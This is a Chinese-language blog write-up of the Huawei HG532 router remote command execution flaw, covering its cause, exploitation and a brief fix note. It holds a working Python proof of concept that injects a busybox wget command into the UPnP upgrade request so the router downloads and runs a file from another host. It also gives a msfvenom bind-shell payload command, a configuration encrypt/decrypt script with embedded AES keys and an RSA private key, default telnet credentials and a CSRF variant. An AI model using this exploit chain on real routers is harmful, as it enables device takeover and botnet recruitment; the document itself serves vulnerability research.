文章目錄
  1. 1. 漏洞原理
  2. 2. poc
  3. 3. shell获取
  4. 4. 动态调试
  5. 5. 开启telent
  6. 6. 修复方案
  7. 7. 其他分析资料学习与反思
  8. 8. 参考资料

漏洞原理

参考资料1Huawei HG532 系列路由器远程命令执行漏洞分析,用户输入拼接到字符串中,最后调用system执行shell命令导致命令执行。

poc

import requests

headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;/bin/busybox wget -g 192.168.1.2 -l /tmp/1 -r /1;</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
requests.post('http://192.168.1.1:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

shell获取

使用msfvenom生成payload。

msfvenom --format elf --arch mipsbe --platform linux --payload linux/mipsbe/shell_bind_tcp --out payload.elf 

修改poc,下载payload执行可以获得shell。

动态调试

开启telent

该款路由器默认不开启telent。可以通过修改配置文件的方式开启telent。先下载配置文件,配置文件是加密的。使用一下脚本解密。脚本为网上开源。

#!/usr/bin/python
import sys
import os
from binascii import hexlify, unhexlify
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from Crypto.Util import number


RSA_D = "1B18D0048611500CA489C51D7389B19A" \
    "F977E6F5BB8DD5E61A62E339499E6237" \
    "C234740129EBD25EF226AB7E498A0830" \
    "DF0A5D45F19F5055B906EBC5E71C16C5" \
    "A99E36D4F369701FAE2403E445BA3CAE" \
    "4B0C9526A82EDD90FECD78B7EDD5EA5E" \
    "6C98A0C4CABF3148E99E78DA0D5EB972" \
    "6F1533A6738F47C790037D532F403C0D"

RSA_N = "A93591A1BFCB7615555C12CFE3AF0B68" \
    "5A6B94E8604A9441ABF7A5F268D4CBF9" \
    "6022E2F0694D679D2C8E4C2D4C3C0C44" \
    "60C5646E852A51EF7EBC2F0C88F08E80" \
    "6D991446348EB7AF280E607DDA363F4F" \
    "322E9B5005503F31F60353219F86443A" \
    "04E573FFEF541D21ADD1043E478D81B1" \
    "E79A5B434C5F64B3D5B141D7BEB59D71"

RSA_E = "010001"

SIG_TEMPLATE = "0001FFFFFFFFFFFFFFFFFFFFFFFFFFFF" \
               "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" \
               "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" \
               "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" \
               "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" \
               "003021300906052B0E03021A05000420"

AES128CBC_KEY = "3E4F5612EF64305955D543B0AE350880"
AES128CBC_IV = "8049E91025A6B54876C3B4868090D3FC"

XML_VERSION_STRING = b'<?xml version="1.0" ?>'

def print_usage():
    print("Usage : " + sys.argv[0] + " {encrypt | decrypt} input_file output_file")
    sys.exit(1)

def load_config(config_file):
    if os.path.isfile(config_file):
        cf = open(config_file, "rb")
        config = cf.read()
        cf.close()
    else:
        print("Config file not found..exiting")
        sys.exit(1)
    return config

def save_to_file(dest_file, data):
    wfile = open(dest_file,"wb")
    wfile.write(data)
    wfile.close()

def get_sha256_hash_from_sig(sig):
    sig_int = int(hexlify(sig),16)
    rsa_n = int(RSA_N,16)
    dec_sig_as_int = pow(sig_int, 0x10001, rsa_n );
    decrypted_sig = number.long_to_bytes(dec_sig_as_int, 128)
    target_sha256 = hexlify(decrypted_sig)[-64:]
    return target_sha256

def calc_actual_sha256_hash(enc_config_body):
    sha256 = SHA256.new()
    sha256.update(enc_config_body)
    actual_sha256_sig = sha256.hexdigest()
    actual_sha256_sig = str.encode(actual_sha256_sig)
    return actual_sha256_sig

def decrypt_body(enc_config_body):
    iv = unhexlify(AES128CBC_IV)
    key= unhexlify(AES128CBC_KEY)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted_data = cipher.decrypt(enc_config_body)
    # Strip block padding
    decrypted_data=decrypted_data.rstrip(b'\0')
    return decrypted_data


def decrypt_config(input_file, output_file):
    enc_config=load_config(input_file)
    sig = enc_config[:0x80]
    enc_config_body=enc_config[0x80:]

    print("verifying signature...")
    target_sha256_hash = get_sha256_hash_from_sig(sig)
    actual_sha256_hash = calc_actual_sha256_hash(enc_config_body)

    if (actual_sha256_hash == target_sha256_hash):
        print("Signature ok...")
    else:
        print("Signature not ok...exiting")
        sys.exit(1)

    print("Decrypting...")
    decrypted_data = decrypt_body(enc_config_body)

    #check_config(decrypted_data)

    print("Saving decrypted config to " + output_file + "...")
    save_to_file(output_file, decrypted_data)

#def check_config(new_config_file):
#    head = new_config_file[0:len(XML_VERSION_STRING)]
#    if head != XML_VERSION_STRING:
#        print("Not a valid config file...exiting")
#        sys.exit(1)

def encrypt_config(input_file, output_file):
    new_config_file=load_config(input_file)

    #check_config(new_config_file)

    padding_amount = len(new_config_file) % 32
    print("" + str(padding_amount) + " bytes padding needed")
    print("Adding padding...")
    new_config_file=new_config_file + b'\0'*(32-padding_amount)

    print("Encrypting config...")
    iv = unhexlify(AES128CBC_IV)
    key= unhexlify(AES128CBC_KEY)
    aes = AES.new(key, AES.MODE_CBC, iv)
    enc_new_config = aes.encrypt(new_config_file)

    print("Calculating SHA256 hash...")
    h = SHA256.new()
    h.update(enc_new_config)
    actual_sha256_sig = h.hexdigest()

    sig = SIG_TEMPLATE+actual_sha256_sig;

    print("Encrypting Signature...")
    sig_int = int(sig,16)
    rsa_d = int(RSA_D,16)
    rsa_n = int(RSA_N,16)
    enc_sig_int = pow(sig_int, rsa_d, rsa_n);

    encrypted_sig = number.long_to_bytes(enc_sig_int, 128)
    enc_config = encrypted_sig + enc_new_config

    print("Saving encrypted config to " + output_file + "...")
    save_to_file(output_file, enc_config)

def main():

    if len(sys.argv) < 4:
        print_usage()

    input_file = sys.argv[2]
    output_file = sys.argv[3]
    command = sys.argv[1]

    if (command == "encrypt"):
        encrypt_config(input_file, output_file)
    elif (command == "decrypt"):
        decrypt_config(input_file, output_file)
    else:
        print_usage()



if __name__ == "__main__":
    main()

修改配置文件之后,可能还需要修改防火墙策略,才可以连上telnet端口。

telnet的用户名和密码为:!!Huawei @HuaweiHgw
连上之后为一个自定义的shell,无法执行正常的shell命令。网上查到输入 welcome to shell可以获得正常shell。但是输入之后无任何信息返回,虽然没有获得shell,但是跟其他命令还是有区别。其他字符会返回command failed。

修复方案

其他华为官网上的新版本固件就不存在这个漏洞了。应该是重构了,大部分逻辑都改了。所以这个漏洞其实是不影响最新版的固件的。只是一个比较老的版本存在的问题。

其他分析资料学习与反思

对华为HG532远程命令执行漏洞的新探索中有两个新的点,一个是利用csrf实现漏洞利用。将用户名和密码放在url中完成认证,http:// dslf-config:admin @routerip:37215。这个方式在之前13年传播比较广的利用csrf修改dns的利用中就是这么实现的。再一个是利用DNS rebind技术绕过限制,获得自己需要的一些http header。

腾讯蜜罐系统捕获高危IoT蠕虫Okiru 文中也有对该漏洞的简要分析。文中提到利用0x22字符,试图对认证字符进行截断。我觉得这个推测应该是不正确,后文也并没有其他的依据可以证明这个推断。0x22就是http协议需要和xml协议中需要的双引号。没有绕过认证的作用。

参考资料

https://paper.seebug.org/490/

文章目錄
  1. 1. 漏洞原理
  2. 2. poc
  3. 3. shell获取
  4. 4. 动态调试
  5. 5. 开启telent
  6. 6. 修复方案
  7. 7. 其他分析资料学习与反思
  8. 8. 参考资料